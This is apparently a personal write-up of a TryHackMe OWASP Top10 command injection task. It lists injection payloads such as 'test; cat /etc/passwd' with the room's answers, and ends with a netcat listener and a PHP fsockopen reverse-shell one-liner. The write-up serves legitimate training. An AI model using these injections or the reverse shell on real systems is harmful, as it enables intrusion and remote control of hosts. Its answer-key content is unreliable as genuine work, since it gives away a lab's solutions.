🥷
TryHackMe
  • 🥷TryHackMe
  • Web Hacking Fundamentals
    • OWASP Top10
      • Task 5
      • Task 7
      • Task 8~11
      • Task 12~16
      • Task 20
      • Task 21~26
      • Task 29
  • Jr Penetration Tester
    • Introduction to Cyber Security
  • Red Teaming
    • Red Team Fundamentals
  • EXTRA
    • Advent of Cyber 2022
      • Day 1
      • Day 2
      • Day 3
      • Day 4
      • Day 5
      • Day 6
      • Day 7
      • Day 8
      • Day 9
      • Day 10
      • Day 11
Powered by GitBook
On this page
  • What strange text file is in the website root directory?
  • How many non-root/non-service/non-daemon users are there?
  • What user is this app running as?
  • What is the user's shell set as?
  • What version of Ubuntu is running?
  • Print out the MOTD. What favorite beverage is shown?
  • EXTRA
  • Spawn remote shell in that machine
  1. Web Hacking Fundamentals
  2. OWASP Top10

Task 5

What strange text file is in the website root directory?

test; ls

Answer

drpepper.txt

How many non-root/non-service/non-daemon users are there?

test; cat /etc/passwd

Answer

0

What user is this app running as?

test; whoami

Answer

www-data

What is the user's shell set as?

test; cat /etc/passwd |grep www-data

Answer

/usr/sbin/nologin

What version of Ubuntu is running?

test ; cat /etc/os-release

or 

test ; lsb_release -a

Answer

18.04.4

Print out the MOTD. What favorite beverage is shown?

test ; locate 00-header
test ; cat /etc/update-motd.d/00-header 

Answer

Dr Pepper

EXTRA

Spawn remote shell in that machine

  1. On your machine

  • Open a localport on your machine

nc -lvnp 9001
  1. On vulnerable webpage

  • Spawn this remote shell in the search input.

Replace 10.18.1.159 with your own VPN IP

test; php -r '$sock=fsockopen("10.18.1.159",9001);`sh <&3 >&3 2>&3`;'
PreviousOWASP Top10NextTask 7

Last updated 2 years ago

Reverse Shell Cheat Sheet